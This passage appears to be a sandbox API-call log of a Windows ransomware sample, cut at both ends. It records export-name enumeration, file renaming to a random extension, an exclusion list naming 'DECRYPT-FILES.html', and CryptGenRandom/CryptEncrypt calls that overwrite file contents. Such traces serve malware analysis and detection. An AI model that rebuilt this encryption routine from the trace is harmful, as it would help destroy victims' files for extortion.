[0123.921] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateProcessInternalW" | out: lpString1="CreateProcessInternalW") returned="CreateProcessInternalW" [0123.921] lstrlenA (lpString="CREATEPROCESSINTERNALW") returned 22 [0123.922] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateProcessW" | out: lpString1="CreateProcessW") returned="CreateProcessW" [0123.922] lstrlenA (lpString="CREATEPROCESSW") returned 14 [0123.922] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateRemoteThread" | out: lpString1="CreateRemoteThread") returned="CreateRemoteThread" [0123.922] lstrlenA (lpString="CREATEREMOTETHREAD") returned 18 [0123.922] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateRemoteThreadEx" | out: lpString1="CreateRemoteThreadEx") returned="CreateRemoteThreadEx" [0123.922] lstrlenA (lpString="CREATEREMOTETHREADEX") returned 20 [0123.922] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateSemaphoreA" | out: lpString1="CreateSemaphoreA") returned="CreateSemaphoreA" [0123.922] lstrlenA (lpString="CREATESEMAPHOREA") returned 16 [0123.922] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateSemaphoreExA" | out: lpString1="CreateSemaphoreExA") returned="CreateSemaphoreExA" [0123.922] lstrlenA (lpString="CREATESEMAPHOREEXA") returned 18 [0123.922] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateSemaphoreExW" | out: lpString1="CreateSemaphoreExW") returned="CreateSemaphoreExW" [0123.922] lstrlenA (lpString="CREATESEMAPHOREEXW") returned 18 [0123.922] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateSemaphoreW" | out: lpString1="CreateSemaphoreW") returned="CreateSemaphoreW" [0123.922] lstrlenA (lpString="CREATESEMAPHOREW") returned 16 [0123.922] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateSocketHandle" | out: lpString1="CreateSocketHandle") returned="CreateSocketHandle" [0123.922] lstrlenA (lpString="CREATESOCKETHANDLE") returned 18 [0123.922] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateSymbolicLinkA" | out: lpString1="CreateSymbolicLinkA") returned="CreateSymbolicLinkA" [0123.922] lstrlenA (lpString="CREATESYMBOLICLINKA") returned 19 [0123.922] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateSymbolicLinkTransactedA" | out: lpString1="CreateSymbolicLinkTransactedA") returned="CreateSymbolicLinkTransactedA" [0123.922] lstrlenA (lpString="CREATESYMBOLICLINKTRANSACTEDA") returned 29 [0123.922] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateSymbolicLinkTransactedW" | out: lpString1="CreateSymbolicLinkTransactedW") returned="CreateSymbolicLinkTransactedW" [0123.922] lstrlenA (lpString="CREATESYMBOLICLINKTRANSACTEDW") returned 29 [0123.922] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateSymbolicLinkW" | out: lpString1="CreateSymbolicLinkW") returned="CreateSymbolicLinkW" [0123.922] lstrlenA (lpString="CREATESYMBOLICLINKW") returned 19 [0123.922] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateTapePartition" | out: lpString1="CreateTapePartition") returned="CreateTapePartition" [0123.922] lstrlenA (lpString="CREATETAPEPARTITION") returned 19 [0123.922] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateThread" | out: lpString1="CreateThread") returned="CreateThread" [0123.922] lstrlenA (lpString="CREATETHREAD") returned 12 [0123.922] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateThreadpool" | out: lpString1="CreateThreadpool") returned="CreateThreadpool" [0123.922] lstrlenA (lpString="CREATETHREADPOOL") returned 16 [0123.922] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateThreadpoolCleanupGroup" | out: lpString1="CreateThreadpoolCleanupGroup") returned="CreateThreadpoolCleanupGroup" [0123.922] lstrlenA (lpString="CREATETHREADPOOLCLEANUPGROUP") returned 28 [0123.925] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateThreadpoolIo" | out: lpString1="CreateThreadpoolIo") returned="CreateThreadpoolIo" [0123.925] lstrlenA (lpString="CREATETHREADPOOLIO") returned 18 [0123.925] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateThreadpoolTimer" | out: lpString1="CreateThreadpoolTimer") returned="CreateThreadpoolTimer" [0123.925] lstrlenA (lpString="CREATETHREADPOOLTIMER") returned 21 [0123.925] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateThreadpoolWait" | out: lpString1="CreateThreadpoolWait") returned="CreateThreadpoolWait" [0123.925] lstrlenA (lpString="CREATETHREADPOOLWAIT") returned 20 [0123.925] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateThreadpoolWork" | out: lpString1="CreateThreadpoolWork") returned="CreateThreadpoolWork" [0123.925] lstrlenA (lpString="CREATETHREADPOOLWORK") returned 20 [0123.925] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateTimerQueue" | out: lpString1="CreateTimerQueue") returned="CreateTimerQueue" [0123.925] lstrlenA (lpString="CREATETIMERQUEUE") returned 16 [0123.925] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateTimerQueueTimer" | out: lpString1="CreateTimerQueueTimer") returned="CreateTimerQueueTimer" [0123.925] wsprintfW (in: param_1=0x38be7e4, param_2="%s.%s" | out: param_1="C:\\588bce7c90097ed212\\1038\\eula.rtf.CvCqSB") returned 42 [0123.926] MoveFileExW (lpExistingFileName="C:\\588bce7c90097ed212\\1038\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1038\\eula.rtf"), lpNewFileName="C:\\588bce7c90097ed212\\1038\\eula.rtf.CvCqSB" (normalized: "c:\\588bce7c90097ed212\\1038\\eula.rtf.cvcqsb"), dwFlags=0x0) returned 1 [0123.926] VirtualFree (lpAddress=0x2d20000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0123.926] VirtualFree (lpAddress=0x2d30000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0123.927] VirtualFree (lpAddress=0x2d10000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0123.927] FindNextFileW (in: hFindFile=0x3b81300, lpFindFileData=0x38bf814 | out: lpFindFileData=0x38bf814*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5398dc00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x5398dc00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x5398dc00, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0x151aa, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="LocalizedData.xml", cAlternateFileName="LOCALI~1.XML")) returned 1 [0123.927] lstrcmpiW (lpString1="LocalizedData.xml", lpString2="DECRYPT-FILES.html") returned 1 [0123.927] lstrcmpiW (lpString1="LocalizedData.xml", lpString2="autorun.inf") returned 1 [0123.927] lstrcmpiW (lpString1="LocalizedData.xml", lpString2="boot.ini") returned 1 [0123.927] lstrcmpiW (lpString1="LocalizedData.xml", lpString2="desktop.ini") returned 1 [0123.927] lstrcmpiW (lpString1="LocalizedData.xml", lpString2="ntuser.dat") returned -1 [0123.927] lstrcmpiW (lpString1="LocalizedData.xml", lpString2="iconcache.db") returned 1 [0123.927] lstrcmpiW (lpString1="LocalizedData.xml", lpString2="bootsect.bak") returned 1 [0123.927] lstrcmpiW (lpString1="LocalizedData.xml", lpString2="ntuser.dat.log") returned -1 [0123.927] lstrcmpiW (lpString1="LocalizedData.xml", lpString2="thumbs.db") returned -1 [0123.927] lstrcmpiW (lpString1="LocalizedData.xml", lpString2="Bootfont.bin") returned 1 [0123.927] lstrlenW (lpString="C:\\588bce7c90097ed212\\1038\\") returned 27 [0123.927] lstrlenW (lpString="LocalizedData.xml") returned 17 [0123.927] lstrcpyW (in: lpString1=0x38befe4, lpString2="C:\\588bce7c90097ed212\\1038\\" | out: lpString1="C:\\588bce7c90097ed212\\1038\\") returned="C:\\588bce7c90097ed212\\1038\\" [0123.927] lstrcatW (in: lpString1="C:\\588bce7c90097ed212\\1038\\", lpString2="LocalizedData.xml" | out: lpString1="C:\\588bce7c90097ed212\\1038\\LocalizedData.xml") returned="C:\\588bce7c90097ed212\\1038\\LocalizedData.xml" [0123.927] VirtualAlloc (lpAddress=0x0, dwSize=0x28, flAllocationType=0x3000, flProtect=0x4) returned 0x2d10000 [0123.928] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1038\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1038\\localizeddata.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5f4 [0123.928] GetFileSizeEx (in: hFile=0x5f4, lpFileSize=0x38be7b0 | out: lpFileSize=0x38be7b0*=86442) returned 1 [0123.928] CreateFileMappingW (hFile=0x5f4, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x0, lpName=0x0) returned 0x5f8 [0123.928] MapViewOfFile (hFileMappingObject=0x5f8, dwDesiredAccess=0x2, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x2d20000 [0125.084] CryptGenRandom (in: hProv=0x6a26f8, dwLen=0x20, pbBuffer=0x2d10000 | out: pbBuffer=0x2d10000) returned 1 [0125.084] CryptGenRandom (in: hProv=0x6a26f8, dwLen=0x8, pbBuffer=0x2d10020 | out: pbBuffer=0x2d10020) returned 1 [0125.084] VirtualAlloc (lpAddress=0x0, dwSize=0x108, flAllocationType=0x3000, flProtect=0x4) returned 0x2d40000 [0125.087] CryptEncrypt (in: hKey=0x68c9e8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2d40000*, pdwDataLen=0x38be718*=0x28, dwBufLen=0x100 | out: pbData=0x2d40000*, pdwDataLen=0x38be718*=0x100) returned 1 [0125.087] VirtualAlloc (lpAddress=0x0, dwSize=0x1001, flAllocationType=0x3000, flProtect=0x4) returned 0x2d50000 [0125.558] VirtualFree (lpAddress=0x2d50000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0125.559] UnmapViewOfFile (lpBaseAddress=0x2d20000) returned 1 [0125.560] CloseHandle (hObject=0x5f8) returned 1 [0125.560] SetFilePointerEx (in: hFile=0x5f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0125.560] WriteFile (in: hFile=0x5f4, lpBuffer=0x2d40000*, nNumberOfBytesToWrite=0x108, lpNumberOfBytesWritten=0x38be738, lpOverlapped=0x0 | out: lpBuffer=0x2d40000*, lpNumberOfBytesWritten=0x38be738*=0x108, lpOverlapped=0x0) returned 1 [0125.561] CloseHandle (hObject=0x0) returned 0 [0125.561] CloseHandle (hObject=0x5f4) returned 1 [0125.564] VirtualFree (lpAddress=0x2d40000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0125.564] VirtualFree (lpAddress=0x2d10000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0125.564] GetTickCount () returned 0x34caa [0125.564] VirtualAlloc (lpAddress=0x0, dwSize=0x18, flAllocationType=0x3000, flProtect=0x4) returned 0x2d10000 [0125.565] lstrlenW (lpString="qwertyuiopasdfghjklzxcvbnmQWERTYUIOPASDFGHJKLZXCVBNM1234567890") returned 62 [0125.565] VirtualAlloc (lpAddress=0x0, dwSize=0xc, flAllocationType=0x3000, flProtect=0x4) returned 0x2d20000 [0125.565] VirtualAlloc (lpAddress=0x0, dwSize=0x7e, flAllocationType=0x3000, flProtect=0x4) returned 0x2d30000 [0125.565] lstrlenA (lpString="kernel32.dll") returned 12 [0125.566] GetModuleHandleA (lpModuleName="kernel32.dll") returned 0x75e90000 [0125.566] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AcquireSRWLockExclusive" | out: lpString1="AcquireSRWLockExclusive") returned="AcquireSRWLockExclusive" [0125.566] lstrlenA (lpString="ACQUIRESRWLOCKEXCLUSIVE") returned 23 [0125.566] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AcquireSRWLockShared" | out: lpString1="AcquireSRWLockShared") returned="AcquireSRWLockShared" [0125.566] lstrlenA (lpString="ACQUIRESRWLOCKSHARED") returned 20 [0125.566] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ActivateActCtx" | out: lpString1="ActivateActCtx") returned="ActivateActCtx" [0125.566] lstrlenA (lpString="ACTIVATEACTCTX") returned 14 [0125.566] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ActivateActCtxWorker" | out: lpString1="ActivateActCtxWorker") returned="ActivateActCtxWorker" [0125.566] lstrlenA (lpString="ACTIVATEACTCTXWORKER") returned 20 [0125.566] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddAtomA" | out: lpString1="AddAtomA") returned="AddAtomA" [0125.566] lstrlenA (lpString="ADDATOMA") returned 8 [0125.566] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddAtomW" | out: lpString1="AddAtomW") returned="AddAtomW" [0125.566] lstrlenA (lpString="ADDATOMW") returned 8 [0125.566] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddConsoleAliasA" | out: lpString1="AddConsoleAliasA") returned="AddConsoleAliasA" [0125.566] lstrlenA (lpString="ADDCONSOLEALIASA") returned 16 [0125.566] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddConsoleAliasW" | out: lpString1="AddConsoleAliasW") returned="AddConsoleAliasW" [0125.566] lstrlenA (lpString="ADDCONSOLEALIASW") returned 16 [0125.566] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddDllDirectory" | out: lpString1="AddDllDirectory") returned="AddDllDirectory" [0125.566] lstrlenA (lpString="ADDDLLDIRECTORY") returned 15 [0125.566] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddIntegrityLabelToBoundaryDescriptor" | out: lpString1="AddIntegrityLabelToBoundaryDescriptor") returned="AddIntegrityLabelToBoundaryDescriptor" [0125.566] lstrlenA (lpString="ADDINTEGRITYLABELTOBOUNDARYDESCRIPTOR") returned 37 [0125.566] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddLocalAlternateComputerNameA" | out: lpString1="AddLocalAlternateComputerNameA") returned="AddLocalAlternateComputerNameA" [0125.566] lstrlenA (lpString="ADDLOCALALTERNATECOMPUTERNAMEA") returned 30 [0125.566] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddLocalAlternateComputerNameW" | out: lpString1="AddLocalAlternateComputerNameW") returned="AddLocalAlternateComputerNameW" [0125.566] lstrlenA (lpString="ADDLOCALALTERNATECOMPUTERNAMEW") returned 30 [0125.566] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddRefActCtx" | out: lpString1="AddRefActCtx") returned="AddRefActCtx" [0125.566] lstrlenA (lpString="ADDREFACTCTX") returned 12 [0125.567] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddRefActCtxWorker" | out: lpString1="AddRefActCtxWorker") returned="AddRefActCtxWorker" [0125.567] lstrlenA (lpString="ADDREFACTCTXWORKER") returned 18 [0125.567] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddResourceAttributeAce" | out: lpString1="AddResourceAttributeAce") returned="AddResourceAttributeAce" [0125.567] lstrlenA (lpString="ADDRESOURCEATTRIBUTEACE") returned 23 [0125.567] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddSIDToBoundaryDescriptor" | out: lpString1="AddSIDToBoundaryDescriptor") returned="AddSIDToBoundaryDescriptor" [0125.567] lstrlenA (lpString="ADDSIDTOBOUNDARYDESCRIPTOR") returned 26 [0125.567] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddScopedPolicyIDAce" | out: lpString1="AddScopedPolicyIDAce") returned="AddScopedPolicyIDAce" [0125.567] lstrlenA (lpString="ADDSCOPEDPOLICYIDACE") returned 20 [0125.567] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddSecureMemoryCacheCallback" | out: lpString1="AddSecureMemoryCacheCallback") returned="AddSecureMemoryCacheCallback" [0125.567] lstrlenA (lpString="ADDSECUREMEMORYCACHECALLBACK") returned 28 [0125.567] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddVectoredContinueHandler" | out: lpString1="AddVectoredContinueHandler") returned="AddVectoredContinueHandler" [0125.567] lstrlenA (lpString="ADDVECTOREDCONTINUEHANDLER") returned 26 [0125.567] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddVectoredExceptionHandler" | out: lpString1="AddVectoredExceptionHandler") returned="AddVectoredExceptionHandler" [0125.567] lstrlenA (lpString="ADDVECTOREDEXCEPTIONHANDLER") returned 27 [0125.567] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AdjustCalendarDate" | out: lpString1="AdjustCalendarDate") returned="AdjustCalendarDate" [0125.567] lstrlenA (lpString="ADJUSTCALENDARDATE") returned 18 [0125.567] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AllocConsole" | out: lpString1="AllocConsole") returned="AllocConsole" [0125.567] lstrlenA (lpString="ALLOCCONSOLE") returned 12 [0125.567] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AllocateUserPhysicalPages" | out: lpString1="AllocateUserPhysicalPages") returned="AllocateUserPhysicalPages" [0125.567] lstrlenA (lpString="ALLOCATEUSERPHYSICALPAGES") returned 25 [0125.567] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AllocateUserPhysicalPagesNuma" | out: lpString1="AllocateUserPhysicalPagesNuma") returned="AllocateUserPhysicalPagesNuma" [0125.567] lstrlenA (lpString="ALLOCATEUSERPHYSICALPAGESNUMA") returned 29 [0125.567] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AppPolicyGetClrCompat" | out: lpString1="AppPolicyGetClrCompat") returned="AppPolicyGetClrCompat" [0125.567] lstrlenA (lpString="APPPOLICYGETCLRCOMPAT") returned 21 [0125.567] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AppPolicyGetCreateFileAccess" | out: lpString1="AppPolicyGetCreateFileAccess") returned="AppPolicyGetCreateFileAccess" [0125.567] lstrlenA (lpString="APPPOLICYGETCREATEFILEACCESS") returned 28 [0125.567] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AppPolicyGetLifecycleManagement" | out: lpString1="AppPolicyGetLifecycleManagement") returned="AppPolicyGetLifecycleManagement" [0125.567] lstrlenA (lpString="APPPOLICYGETLIFECYCLEMANAGEMENT") returned 31 [0125.567] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AppPolicyGetMediaFoundationCodecLoading" | out: lpString1="AppPolicyGetMediaFoundationCodecLoading") returned="AppPolicyGetMediaFoundationCodecLoading" [0125.567] lstrlenA (lpString="APPPOLICYGETMEDIAFOUNDATIONCODECLOADING") returned 39 [0125.567] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AppPolicyGetProcessTerminationMethod" | out: lpString1="AppPolicyGetProcessTerminationMethod") returned="AppPolicyGetProcessTerminationMethod" [0125.568] lstrlenA (lpString="APPPOLICYGETPROCESSTERMINATIONMETHOD") returned 36 [0125.568] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AppPolicyGetShowDeveloperDiagnostic" | out: lpString1="AppPolicyGetShowDeveloperDiagnostic") returned="AppPolicyGetShowDeveloperDiagnostic" [0125.568] lstrlenA (lpString="APPPOLICYGETSHOWDEVELOPERDIAGNOSTIC") returned 35 [0125.568] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AppPolicyGetThreadInitializationType" | out: lpString1="AppPolicyGetThreadInitializationType") returned="AppPolicyGetThreadInitializationType" [0125.568] lstrlenA (lpString="APPPOLICYGETTHREADINITIALIZATIONTYPE") returned 36 [0125.568] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AppPolicyGetWindowingModel" | out: lpString1="AppPolicyGetWindowingModel") returned="AppPolicyGetWindowingModel" [0125.568] lstrlenA (lpString="APPPOLICYGETWINDOWINGMODEL") returned 26 [0125.568] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AppXGetOSMaxVersionTested" | out: lpString1="AppXGetOSMaxVersionTested") returned="AppXGetOSMaxVersionTested" [0125.568] lstrlenA (lpString="APPXGETOSMAXVERSIONTESTED") returned 25 [0125.568] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ApplicationRecoveryFinished" | out: lpString1="ApplicationRecoveryFinished") returned="ApplicationRecoveryFinished" [0125.568] lstrlenA (lpString="APPLICATIONRECOVERYFINISHED") returned 27 [0125.568] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ApplicationRecoveryInProgress" | out: lpString1="ApplicationRecoveryInProgress") returned="ApplicationRecoveryInProgress" [0125.568] lstrlenA (lpString="APPLICATIONRECOVERYINPROGRESS") returned 29 [0125.568] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AreFileApisANSI" | out: lpString1="AreFileApisANSI") returned="AreFileApisANSI" [0125.568] lstrlenA (lpString="AREFILEAPISANSI") returned 15 [0125.568] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AssignProcessToJobObject" | out: lpString1="AssignProcessToJobObject") returned="AssignProcessToJobObject" [0125.568] lstrlenA (lpString="ASSIGNPROCESSTOJOBOBJECT") returned 24 [0125.568] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AttachConsole" | out: lpString1="AttachConsole") returned="AttachConsole" [0125.568] lstrlenA (lpString="ATTACHCONSOLE") returned 13 [0125.568] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BackupRead" | out: lpString1="BackupRead") returned="BackupRead" [0125.568] lstrlenA (lpString="BACKUPREAD") returned 10 [0125.568] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BackupSeek" | out: lpString1="BackupSeek") returned="BackupSeek" [0125.568] lstrlenA (lpString="BACKUPSEEK") returned 10 [0125.568] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BackupWrite" | out: lpString1="BackupWrite") returned="BackupWrite" [0125.568] lstrlenA (lpString="BACKUPWRITE") returned 11 [0125.568] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseCheckAppcompatCache" | out: lpString1="BaseCheckAppcompatCache") returned="BaseCheckAppcompatCache" [0125.568] lstrlenA (lpString="BASECHECKAPPCOMPATCACHE") returned 23 [0125.568] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseCheckAppcompatCacheEx" | out: lpString1="BaseCheckAppcompatCacheEx") returned="BaseCheckAppcompatCacheEx" [0125.568] lstrlenA (lpString="BASECHECKAPPCOMPATCACHEEX") returned 25 [0125.568] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseCheckAppcompatCacheExWorker" | out: lpString1="BaseCheckAppcompatCacheExWorker") returned="BaseCheckAppcompatCacheExWorker" [0125.568] lstrlenA (lpString="BASECHECKAPPCOMPATCACHEEXWORKER") returned 31 [0125.569] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseCheckAppcompatCacheWorker" | out: lpString1="BaseCheckAppcompatCacheWorker") returned="BaseCheckAppcompatCacheWorker" [0125.569] lstrlenA (lpString="BASECHECKAPPCOMPATCACHEWORKER") returned 29 [0125.569] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseCheckElevation" | out: lpString1="BaseCheckElevation") returned="BaseCheckElevation" [0125.569] lstrlenA (lpString="BASECHECKELEVATION") returned 18 [0125.569] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseCleanupAppcompatCacheSupport" | out: lpString1="BaseCleanupAppcompatCacheSupport") returned="BaseCleanupAppcompatCacheSupport" [0125.569] lstrlenA (lpString="BASECLEANUPAPPCOMPATCACHESUPPORT") returned 32 [0125.569] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseCleanupAppcompatCacheSupportWorker" | out: lpString1="BaseCleanupAppcompatCacheSupportWorker") returned="BaseCleanupAppcompatCacheSupportWorker" [0125.569] lstrlenA (lpString="BASECLEANUPAPPCOMPATCACHESUPPORTWORKER") returned 38 [0125.569] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseDestroyVDMEnvironment" | out: lpString1="BaseDestroyVDMEnvironment") returned="BaseDestroyVDMEnvironment" [0125.569] lstrlenA (lpString="BASEDESTROYVDMENVIRONMENT") returned 25 [0125.569] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseDllReadWriteIniFile" | out: lpString1="BaseDllReadWriteIniFile") returned="BaseDllReadWriteIniFile" [0125.569] lstrlenA (lpString="BASEDLLREADWRITEINIFILE") returned 23 [0125.569] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseDumpAppcompatCache" | out: lpString1="BaseDumpAppcompatCache") returned="BaseDumpAppcompatCache" [0125.569] lstrlenA (lpString="BASEDUMPAPPCOMPATCACHE") returned 22 [0125.569] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseDumpAppcompatCacheWorker" | out: lpString1="BaseDumpAppcompatCacheWorker") returned="BaseDumpAppcompatCacheWorker" [0125.569] lstrlenA (lpString="BASEDUMPAPPCOMPATCACHEWORKER") returned 28 [0125.569] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseElevationPostProcessing" | out: lpString1="BaseElevationPostProcessing") returned="BaseElevationPostProcessing" [0125.569] lstrlenA (lpString="BASEELEVATIONPOSTPROCESSING") returned 27 [0125.569] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseFlushAppcompatCache" | out: lpString1="BaseFlushAppcompatCache") returned="BaseFlushAppcompatCache" [0125.569] lstrlenA (lpString="BASEFLUSHAPPCOMPATCACHE") returned 23 [0125.569] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseFlushAppcompatCacheWorker" | out: lpString1="BaseFlushAppcompatCacheWorker") returned="BaseFlushAppcompatCacheWorker" [0125.569] lstrlenA (lpString="BASEFLUSHAPPCOMPATCACHEWORKER") returned 29 [0125.569] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseFormatObjectAttributes" | out: lpString1="BaseFormatObjectAttributes") returned="BaseFormatObjectAttributes" [0125.569] lstrlenA (lpString="BASEFORMATOBJECTATTRIBUTES") returned 26 [0125.569] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseFormatTimeOut" | out: lpString1="BaseFormatTimeOut") returned="BaseFormatTimeOut" [0125.569] lstrlenA (lpString="BASEFORMATTIMEOUT") returned 17 [0125.569] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseFreeAppCompatDataForProcessWorker" | out: lpString1="BaseFreeAppCompatDataForProcessWorker") returned="BaseFreeAppCompatDataForProcessWorker" [0125.569] lstrlenA (lpString="BASEFREEAPPCOMPATDATAFORPROCESSWORKER") returned 37 [0125.569] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseGenerateAppCompatData" | out: lpString1="BaseGenerateAppCompatData") returned="BaseGenerateAppCompatData" [0125.569] lstrlenA (lpString="BASEGENERATEAPPCOMPATDATA") returned 25 [0125.569] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseGetNamedObjectDirectory" | out: lpString1="BaseGetNamedObjectDirectory") returned="BaseGetNamedObjectDirectory" [0125.570] lstrlenA (lpString="BASEGETNAMEDOBJECTDIRECTORY") returned 27 [0125.570] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseInitAppcompatCacheSupport" | out: lpString1="BaseInitAppcompatCacheSupport") returned="BaseInitAppcompatCacheSupport" [0125.570] lstrlenA (lpString="BASEINITAPPCOMPATCACHESUPPORT") returned 29 [0125.570] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseInitAppcompatCacheSupportWorker" | out: lpString1="BaseInitAppcompatCacheSupportWorker") returned="BaseInitAppcompatCacheSupportWorker" [0125.570] lstrlenA (lpString="BASEINITAPPCOMPATCACHESUPPORTWORKER") returned 35 [0125.570] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseIsAppcompatInfrastructureDisabled" | out: lpString1="BaseIsAppcompatInfrastructureDisabled") returned="BaseIsAppcompatInfrastructureDisabled" [0125.570] lstrlenA (lpString="BASEISAPPCOMPATINFRASTRUCTUREDISABLED") returned 37 [0125.570] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseIsAppcompatInfrastructureDisabledWorker" | out: lpString1="BaseIsAppcompatInfrastructureDisabledWorker") returned="BaseIsAppcompatInfrastructureDisabledWorker" [0125.570] lstrlenA (lpString="BASEISAPPCOMPATINFRASTRUCTUREDISABLEDWORKER") returned 43 [0125.570] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseIsDosApplication" | out: lpString1="BaseIsDosApplication") returned="BaseIsDosApplication" [0125.570] lstrlenA (lpString="BASEISDOSAPPLICATION") returned 20 [0125.570] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseQueryModuleData" | out: lpString1="BaseQueryModuleData") returned="BaseQueryModuleData" [0125.570] lstrlenA (lpString="BASEQUERYMODULEDATA") returned 19 [0125.570] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseReadAppCompatDataForProcessWorker" | out: lpString1="BaseReadAppCompatDataForProcessWorker") returned="BaseReadAppCompatDataForProcessWorker" [0125.570] lstrlenA (lpString="BASEREADAPPCOMPATDATAFORPROCESSWORKER") returned 37 [0125.570] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseSetLastNTError" | out: lpString1="BaseSetLastNTError") returned="BaseSetLastNTError" [0125.570] lstrlenA (lpString="BASESETLASTNTERROR") returned 18 [0125.570] lstrcpyA (in: 